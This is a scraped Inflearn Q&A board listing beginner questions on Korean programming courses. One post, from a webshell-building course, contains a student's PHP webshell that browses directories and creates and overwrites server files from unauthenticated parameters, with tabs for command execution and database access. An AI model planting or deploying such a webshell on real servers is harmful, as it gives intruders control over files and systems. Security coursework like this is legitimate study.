묻고 답해요
158만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨초보자를 위한 <어바웃타임> 쉐도잉 마스터 클래스
자료 다운로드가 안되요
아이패드로 자료를 보면서 듣고 싶은데 자료 다운이 안됩니다…이외에도 모바일 환경에서는 수강에 어려운 점이 많네요
-
미해결윤재성의 자바 기반 안드로이드 앱개발 Part 3 - 데이터관리와 네트워크
파트4는 언제 쯤 나오나요??
파트4는 언제 쯤 나오나요?? 기다리고 있습니다 ㅠㅠ
-
미해결[LG유플러스] 앱 만들기 초급 과정 (Flutter)
U&I 테마 적용해 보기에서 headline1 에 취소선 제거하는 방법
안녕하세요.^^제목과 같이 U&I 테마 적용하고 있는데요headline1 을 코딩하면 아래 사진과 같이 취소선이 텍스트 위에 표시됩니다.이것을 없애려면 어떻게 하면 되나요?
-
미해결해커를 위한 iOS 앱 모의 해킹 전문 과정
아이폰 필요한가요?
안드로이드는 녹스를 사용해서 했는데 IOS는 아이폰 필수인가요?
-
해결됨웹 프론트엔드를 위한 자바스크립트 첫걸음
getElementsByClassName 리턴값 질문
querySelectorAll은 nodelist를 리턴값으로 받아서 Foreach로 선언해서 해당 dom을 event handling 한다고 배웠는데 getElementsByClassName도 querySelectorAll과 같이nodelist를 리턴 받아 forEach형태로 event handling을 할 수 있는 지 답변 부탁드립니다.
-
해결됨웹 게임을 만들며 배우는 React
state.halted와 그냥 halted의 차이점이 궁금합니다
if ( state.data.row * state.data.cell - state.data.mine === state.opendCount + openedCount ) { halted = true; result = "승리하셨습니다"; } return { ...state, tableData, opendCount: state.opendCount + openedCount, halted, result, };위 코드는 제로초님이 작성하신 코드입니다여기서 halted와 result에 값을 갱신할때 state.halted 이렇게 한 것이 아니고 그냥 halted=true이렇게 갱신을 하셨습니다 if ( state.data.row * state.data.cell - state.data.mine === state.opendCount + openedCount ) { state.halted = true; state.result = "승리하셨습니다"; } return { ...state, tableData, opendCount: state.opendCount + openedCount, halted: state.halted, result: state.result, };왜 state를 안 붙이고 그냥 할 수 있을까 해서 state를 붙여서 해봤더니 return 구문에서 halted: state.halted 이거 처럼 따로 갱신하는 구문이 필요했습니다 state를 붙일 때와 안붙일때 어떤 차이가 있나요?
-
미해결Skill-Up! 배워서 바로 쓰는 웹쉘 제작
파일내용 수정이 잘 안됩니다.
파일내용 수정이 안되고 내용이 없는 파일은 textarea 부분이 나타나지 않습니다.코드 작성본은 아래와 같습니다.해결할 수 있도록 도움 부탁드리겠습니다. <? header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $fileName = $_GET["fileName"]; if(empty($path)) { $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Mode Logic if ($mode == "fileCreate") { if(empty($fileName)) { echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>"; exit(); } $fp = fopen($path.$fileName, "w"); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "dirCreate") { if(empty($fileName)) { echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>"; exit(); } $dirPath = $path.$fileName; if(is_dir($dirPath)) { echo "<script>alert('해당 디렉터리명이 존재합니다.');history.back(-1);</script>"; exit(); } mkdir($dirPath); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "fileModify" && !empty($_POST["fileContents"])) { $filePath = $path.$fileName; if(!file_exists($filePath)) { echo "<script>alert('파일이 존재하지 않습니다..');history.back(-1);</script>"; exit(); } $fileContents = $_POST["fileContents"]; $fp = fopen($filePath, "w"); fputs($fp, $fileContents, strlen($fileContents)); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } # Directory List Return Function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } # File List Return Function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; }?><!DOCTYPE html><html lang="ko"></html><head> <title>godoks webshell test</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="">https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> <script> function fileCreate() { var fileName = frm.createFileName.value; if(!fileName) { alert("파일명을 입력하시오"); return; } location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" +fileName; } function dirCreate() { var fileName = frm.createFileName.value; if(!fileName) { alert("디렉터리명을 입력하시오"); return; } location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" +fileName; } function fileModify(fileName) { location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" +fileName; } </script></head><body><div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>GODOKS_HACKing</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <? if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUploadr">File Upload</a></li> <li role="presentation" <? if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <? if($mode == "DB") echo "class=\"active\"";?>><a href="<?=$page?>?mode=DB">DB Connector</a></li> <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <form action="<?=$page?>"?mode=fileBrowsr" method="GET"> <? if(empty($mode) || $mode == "fileBrowser") { ?> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr calss="active"> <th style="width: 50%" class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] !=".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <? if($dirList[$i] !="..") {?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-danger" title="Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> <? } ?> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-info" title="Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button> <button type="button" class="btn btn-danger" title="Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <hr> <form name="frm"> <div class="input-group"> <input type="text" class="form-control" placeholder="File/Directory Name Input..." name="createFileName"> <span class="input-group-btn"> <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button> <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button> </span> </div> </form> <? } else if($mode == "fileModify") { ?> <? if(empty($fileName)) { echo "<script>alert('파일명이 존재하지 않습니다.');history.back(-1)</script>"; exit(); } $filePath = $path.$fileName; if(!file_exists($filePath)) { echo "<script>alert('파일이 존재하지 않습니다.');history.back(-1)</script>"; exit(); } $fp = fopen($filePath, "r"); $fileContents = fread($fp, filesize($filePath)); fclose($fp); ?> <form action="<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=<?=$fileName?>" method="POST"> <div class="input-group"> <input type="text" class="form-control" value="<?=$path?><?=$fileName?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">File Modify</button> </span> </div> <hr> <textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea> </form> <br> <p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1);">Back</button></p> <? } ?> <hr> <p class="text-muted text-center">Copyrightⓒ 2023, godoks, All rights reserved.</p> </div> <div class="col-md-3"></div> </div></div></body></html>
-
해결됨스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
intellij console 로그 창이 없는데 어떻게 보나요?
[질문 템플릿]1. 강의 내용과 관련된 질문인가요? 네2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 네3. 질문 잘하기 메뉴얼을 읽어보셨나요? 네 [질문 내용]intellij console 로그 창이 없는데 어떻게 보나요? intellij community Edition 버전으로 다운해서 사용중입니다.
-
미해결스프링 DB 1편 - 데이터 접근 핵심 원리
template.queryForObject 반환값이 Member인 이유
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]강의 5:35에서 template.queryForObject(sql, memberRowMapper(), memberId); 의 반환값이 어떻게 Member가 되는 것인가요? 그 이유가 궁금합니다.
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 기본편
파이썬 설치 관련문의
명령창에서 python치면 microsoft store 설치하라고뜨는데 이게 맞나요?
-
미해결[리뉴얼] 처음하는 MongoDB(몽고DB) 와 NoSQL(빅데이터) 데이터베이스 부트캠프 [입문부터 활용까지] (업데이트)
다른 강의 수강자분들께 도움될까 싶어 남깁니다.(linux mongodb 실행관련)
- 본 강의 영상 학습 관련 문의에 대해 답변을 드립니다. (어떤 챕터 몇분 몇초를 꼭 기재부탁드립니다)- 이외의 문의등은 평생강의이므로 양해를 부탁드립니다- 현업과 병행하는 관계로 주말/휴가 제외 최대한 3일내로 답변을 드리려 노력하고 있습니다- 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 현재 22.04 LTS ubuntu에서 mongodb를 설치하면 6.0.6으로 설치가 됩니다. https://www.programmerhat.com/mongo-command-not-found/해당 링크에 따르면 6.0버전으로 업데이트 되면서 기존 Mongodb shell prompt에 접근하는 명령어가mongo 에서 mongosh로 바뀌었다고 합니다.설치 이후 systemctl에 의한 status 체크가 끝났음에도 실행이 되지 않으시는 분들은 mongosh로 실행시켜보시기 바랍니다.
-
미해결8명의 비전공자는 어떻게 개발자로 취업했을까
선생님 29살이고 고졸 비전공자인데요
6월12일날 국비 개강반에 들어갈예정인데.. 자바 기초강의를 들어도 어렵고 무슨말인지 모르겠고 그런데... 포기할꺼면 빨리 포기할까요?? 괜히 붙잡고있다가 수료하고나서도 취직도 못하고 민폐끼치지않을까요?? 메소드가뭔지 클래스가 뭔지 구글링해서 봐도 어렵네요.... 이정도면 진짜 노답이긴하죠?
-
해결됨[웹 개발 풀스택 코스] Node.js 프로젝트 투입 일주일 전 - 기초에서 실무까지
추가 강의 좀 올려주시면 감사하겠습니다^^
[섹션0_Node.js 기초 다지기] 파트에서MySQL 연동하기 동영상 강좌에는 13_app_mysql.js 파일까지 강의가 진행되었는데정적파일처리 영상을 보게 되면 16_static.js로 강의부터 강의가 진행되다보니뭔가 좀 이상하다 싶어 우연히 발견하게 되었습니다.14_route.js 파일 영상과 15_app_route_module에 관련된 동영상 강의가 없어서 문의 드립니다.
-
미해결구성 관리 자동화 도구 - 앤서블(Ansible)
vagrant에서 config.vm.box에 지정한 값으로 실행되지 않습니다.
질문 답변을 제공하지만, 강의 비용에는 Q&A는 포함되어 있지 않습니다. 다만 실습이 안되거나, 잘못된 내용의 경우는 알려주시면 가능한 빠르게 조치하겠습니다![질문 전 답변]1. 강의 내용과 관련된 질문인가요? [예]2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? [예]3. 질문 잘하기 법을 읽어보셨나요? [예](https://www.inflearn.com/blogs/1719)4. 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.[질문 하기]베이그런트를 이용해서 우분투를 추가하기 강의를 따라하다 오류가 발생했습니다. #Ansible-Node03 config.vm.define:"ansible-node03" do |cfg| config.vm.box = "ubuntu/trusty64" cfg.vm.provider:virtualbox do |vb| vb.name="Ansible-node03" vb.customize ["modifyvm", :id, "--cpus", 1] vb.customize ["modifyvm", :id, "--memory", 512] end cfg.vm.host_name="ansible-node03" cfg.vm.synced_folder ".", "/vagrant", disabled: true cfg.vm.network "public_network", ip: "192.168.1.13" cfg.vm.network "forwarded_port", guest: 22, host: 19213, auto_correct: false, id: "ssh" endvagrantfile에 작성된 내용입니다.vagrant up으로 실행시키면 ansible-node03이 ubuntu로 설치되지않고 centos로 설치됩니다.==> ansible-node03: Importing base box 'centos/7'... ==> ansible-node03: Matching MAC address for NAT networking... ==> ansible-node03: Checking if box 'centos/7' version '2004.01' is up to date... ==> ansible-node03: Waiting for cleanup before exiting...혹시 box 이미지가 없어서 그런가? 싶어서 vagrant box add로 ubuntu 이미지를 받아와도 동일한 증상이 나타납니다.PS C:\HashiCorp> vagrant box list centos/7 (virtualbox, 2004.01) ubuntu/trusty64 (virtualbox, 20190514.0.0)box list에 이미지가 있는 것을 확인했습니다.
-
미해결AI로 돈 버는 법 - 사례로 알아보는 AI Transformation
교재를 제공해주시는지??
교재를 제공받을 수 있는지, 궁금합니다.
-
미해결[핵집] 2025 빅데이터 분석기사(필기)_과목 1~2
통합강의안 요청
안녕하세요.통합강의안 요청드립니다.이메일 주소 : jyh1004jw@gmail.com감사합니다!
-
해결됨웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩
APMSetup설치파일 제공 요청
웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩 수강중인데요.APMSetup 설치 파일 다운로드 버튼을 못찾겠습니다.영상 우측에 있다고 강의 내용에 말씀하시는데 아무리 찾아봐도 없네요.윈도우즈 환경입니다.확인 후 회신부탁드립니다.
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 기본편
오류가떠요
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.
-
미해결CS 지식의 정석 | 디자인패턴 네트워크 운영체제 데이터베이스 자료구조
강의 내용중 API 관련 질문이 있습니다
안녕하세요 먼저 좋은 강의 감사합니다강의 수강중 궁금한 부분이 생겼는데 검색해도 잘 안나와서 질문 드립니다API 장점 중내부 프로세스가 수정되었을 때 API를 매번 수정하는 것이 아닌 API가 수정이 안되게 만들 수 있습니다. 이를 통해 내부 DB, 서버의 로직이 변경되어도 매번 사용자가 앱을 업데이트 하는 일은 줄어들 수 있습니다. 라는 내용이 있는데내부 프로세스는 수정되지만 API를 수정이 안되게 만들어서 업데이트를 하지 않아도 되게 만든다는 말 같은데 결국 내부 프로세스는 수정이 된 것 아닌가요?로직은 바뀌었는데 API가 수정이 안되게 만들 수 있다는 말이 잘 이해가 되지 않습니다 ..
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 기본편
오류가떠요!!!
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.